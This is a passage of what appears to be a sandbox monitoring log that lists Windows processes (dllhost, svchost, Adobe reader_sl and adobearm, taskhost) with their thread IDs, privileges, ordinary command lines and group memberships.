Thread: id = 533 os_tid = 0x5b4 Thread: id = 545 os_tid = 0x5e8 Thread: id = 551 os_tid = 0x600 Thread: id = 552 os_tid = 0x604 Thread: id = 553 os_tid = 0x608 Thread: id = 557 os_tid = 0x618 Thread: id = 690 os_tid = 0x498 Thread: id = 691 os_tid = 0x4b0 Process: id = "41" image_name = "dllhost.exe" filename = "c:\\windows\\system32\\dllhost.exe" page_root = "0x78f48000" os_pid = "0x540" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "24" os_parent_pid = "0x240" cmd_line = "C:\\Windows\\system32\\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e64a" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 505 os_tid = 0x544 Thread: id = 510 os_tid = 0x558 Thread: id = 513 os_tid = 0x568 Thread: id = 516 os_tid = 0x574 Thread: id = 517 os_tid = 0x578 Thread: id = 518 os_tid = 0x57c Thread: id = 524 os_tid = 0x594 Process: id = "42" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x791f6000" os_pid = "0x560" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "21" os_parent_pid = "0x1b4" cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalServiceNoNetwork" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BFE" [0xe], "NT SERVICE\\DPS" [0xa], "NT SERVICE\\MpsSvc" [0xa], "NT SERVICE\\pla" [0xa], "NT SERVICE\\WwanSvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:00017fa7" [0xc000000f], "LOCAL" [0x7], "NT AUTHORITY\\WRITE RESTRICTED" [0x7] Thread: id = 512 os_tid = 0x564 Thread: id = 521 os_tid = 0x588 Thread: id = 527 os_tid = 0x59c Thread: id = 528 os_tid = 0x5a0 Thread: id = 529 os_tid = 0x5a4 Thread: id = 534 os_tid = 0x5b8 Thread: id = 543 os_tid = 0x5e0 Thread: id = 562 os_tid = 0x62c Thread: id = 566 os_tid = 0x63c Thread: id = 568 os_tid = 0x644 Thread: id = 571 os_tid = 0x650 Thread: id = 572 os_tid = 0x654 Thread: id = 574 os_tid = 0x65c Thread: id = 584 os_tid = 0x68c Thread: id = 586 os_tid = 0x694 Thread: id = 587 os_tid = 0x698 Thread: id = 588 os_tid = 0x69c Thread: id = 590 os_tid = 0x6a4 Thread: id = 592 os_tid = 0x6a8 Thread: id = 594 os_tid = 0x6b0 Thread: id = 636 os_tid = 0x754 Thread: id = 643 os_tid = 0x778 Thread: id = 646 os_tid = 0x784 Thread: id = 648 os_tid = 0x78c Thread: id = 653 os_tid = 0x7a4 Thread: id = 656 os_tid = 0x7b0 Thread: id = 696 os_tid = 0x444 Process: id = "43" image_name = "reader_sl.exe" filename = "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\reader_sl.exe" page_root = "0x77bda000" os_pid = "0x5cc" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "38" os_parent_pid = "0x4d0" cmd_line = "\"C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\reader_sl.exe\" " cur_dir = "C:\\Windows\\SysWOW64\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e64a" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 539 os_tid = 0x5d0 Thread: id = 546 os_tid = 0x5ec Thread: id = 595 os_tid = 0x6b4 Thread: id = 698 os_tid = 0x460 Thread: id = 699 os_tid = 0x320 Process: id = "44" image_name = "adobearm.exe" filename = "c:\\program files (x86)\\common files\\adobe\\arm\\1.0\\adobearm.exe" page_root = "0x777fb000" os_pid = "0x5d4" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "38" os_parent_pid = "0x4d0" cmd_line = "\"C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\1.0\\AdobeARM.exe\" " cur_dir = "C:\\Windows\\SysWOW64\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e64a" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 540 os_tid = 0x5d8 Thread: id = 555 os_tid = 0x610 Thread: id = 556 os_tid = 0x614 Process: id = "45" image_name = "taskhost.exe" filename = "c:\\windows\\system32\\taskhost.exe" page_root = "0x74e0b000" os_pid = "0x76c" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "21" os_parent_pid = "0x1b4" cmd_line = "taskhost.exe SYSTEM" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Thread: id = 685 os_tid = 0x770 Thread: id = 688 os_tid = 0x208 Thread: id = 689 os_tid = 0x15c Thread: id = 692 os_tid = 0x160 Thread: id = 693 os_tid = 0x410 Thread: id = 694 os_tid = 0x4dc Thread: id = 695 os_tid = 0x4b8 Process: id = "46" image_name = "dllhost.exe" filename = "c:\\windows\\system32\\dllhost.exe" page_root = "0x73795000" os_pid = "0x790" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "24" os_parent_pid = "0x240" cmd_line = "C:\\Windows\\system32\\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e64a" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 649 os_tid = 0x794 Thread: id = 657 os_tid = 0x7b4 Thread: id = 667 os_tid = 0x7dc Thread: id = 673 os_tid = 0x7f4 Thread: id = 674 os_tid = 0x7f8 Thread: id = 675 os_tid = 0x7fc Thread: id = 678 os_tid = 0x430